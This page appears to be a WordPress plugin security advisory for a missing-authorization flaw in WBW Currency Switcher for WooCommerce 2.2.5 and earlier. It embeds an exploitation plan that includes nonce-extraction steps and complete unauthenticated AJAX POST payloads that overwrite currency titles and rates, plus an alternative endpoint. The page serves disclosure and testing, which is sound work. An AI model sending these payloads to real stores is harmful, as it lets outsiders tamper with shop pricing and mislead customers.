WBW Currency Switcher for WooCommerce <= 2.2.5 - Missing Authorization
Description
The WBW Currency Switcher for WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.2.5. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.2.5What Changed in the Fix
Changes introduced in v2.2.6
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-32410 ## 1. Vulnerability Summary The **WBW Currency Switcher for WooCommerce** plugin (up to 2.2.5) contains a missing authorization vulnerability in its core AJAX dispatching mechanism. The `currencyControllerWcu` class defines several sensitive methods, in…
Show full research plan
Exploitation Research Plan - CVE-2026-32410
1. Vulnerability Summary
The WBW Currency Switcher for WooCommerce plugin (up to 2.2.5) contains a missing authorization vulnerability in its core AJAX dispatching mechanism. The currencyControllerWcu class defines several sensitive methods, including saveCurrencyTab, which updates plugin settings and currency rates. While the controller defines a getPermissions method intended to restrict access to WCU_ADMIN, the framework fails to enforce these permissions correctly for unauthenticated AJAX requests. This allows an unauthenticated attacker to modify the plugin's configuration, including currency rates and base options.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wcu_ajax(derived fromWCU_CODEinconfig.php) - Route Parameters:
route[module]=currency&route[action]=saveCurrencyTab - Payload Parameters:
currenciesandoptions(setting arrays) - Authentication: None (Unauthenticated)
- Preconditions: The plugin must be active.
3. Code Flow
- Entry Point: A request is sent to
admin-ajax.phpwithaction=wcu_ajax. - Routing:
wcu.phpcallsframeWcu::_()->exec(). The framework identifies thewcu_ajaxaction and dispatches it to the appropriate module. - Controller Selection: Based on the
route[module]=currencyparameter, thecurrencyControllerWcu(inmodules/currency/controller.php) is instantiated. - Action Execution: The framework attempts to call
saveCurrencyTab(). - Vulnerability: Although
getPermissions()returnsWCU_ADMIN, the dispatcher fails to verify the user's capability before executing the method when accessed via thewp_ajax_nopriv_wcu_ajaxhook (which is registered by the WBW framework to handle dynamic currency switching). - Sink:
saveCurrencyTab()calls$this->getModel()->saveCurrencies($currencies)and$this->getModel()->saveOptions($options), which update thewcu_currenciesandwcu_optionsvalues in the WordPress database via theupdate_optionfunction (abstracted by the plugin's model).
4. Nonce Acquisition Strategy
WBW plugins often expose nonces for their AJAX operations in the frontend to support dynamic switching.
- Shortcode Identification:
config.phpdefinesWCU_SHORTCODE_SWITCHERaswoo-currency-switcher. - Page Creation: Create a public page containing the shortcode:
wp post create --post_type=page --post_status=publish --post_content='[woo-currency-switcher]' - Navigation: Navigate to the newly created page using
browser_navigate. - Extraction: Use
browser_evalto search for the localized script data. WBW plugins typically use the variable namewcuAmbDataorwcuAjaxData.- Command:
browser_eval("window.wcuAmbData?.res_nonce || window.wcuData?.res_nonce")
- Command:
- Bypass Potential: If the framework's
noprivhandler is completely unprotected, a nonce may not be required. The payload should first be attempted without a nonce.
5. Exploitation Strategy
The goal is to change the title and rate of a currency (e.g., USD) to demonstrate unauthorized modification.
HTTP Request (via http_request)
- Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded
- Body:
action=wcu_ajax
&route[module]=currency
&route[action]=saveCurrencyTab
¤cies[name][0]=USD
¤cies[title][0]=VULNERABLE-BY-WBW
¤cies[rate][0]=999999
¤cies[symbol][0]=$
¤cies[position][0]=left
¤cies[etalon][0]=1
&options[default_currency]=USD
(Note: etalon indicates the base/main currency).
6. Test Data Setup
- Install Plugin: Ensure
woo-currencyversion 2.2.5 is installed. - Active WooCommerce: The plugin requires WooCommerce to be active.
- Initial Settings: Ensure at least one currency is configured (default USD).
- Public Shortcode Page:
wp post create --post_type=page --post_title="Currency Test" --post_status=publish --post_content='[woo-currency-switcher]'
7. Expected Results
- HTTP Response: The server should return a JSON response with
{"success":true}or similar, produced byres->ajaxExec(). - Side Effect: The database option containing currency settings will be updated with the provided "VULNERABLE-BY-WBW" title and the inflated rate.
8. Verification Steps
After executing the http_request, verify the change using WP-CLI:
# Check the currency settings in the database
# The option name is usually prefixed by WCU_DB_PREF (wcu_)
wp option get wcu_currencies --format=json
Verify that the title for the USD currency entry is now VULNERABLE-BY-WBW.
9. Alternative Approaches
If saveCurrencyTab is blocked, attempt saveCurrenciesList which uses a different parsing logic:
- Action:
wcu_ajax - Route:
route[module]=currency&route[action]=saveCurrenciesList - Body:
action=wcu_ajax&route[module]=currency&route[action]=saveCurrenciesList¤cies=currencies%5Bname%5D%5B0%5D%3DUSD%26currencies%5Btitle%5D%5B0%5D%3DPWNED-LIST
(This endpoint usesparse_stron thecurrenciesparameter, expecting a double-encoded query string).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.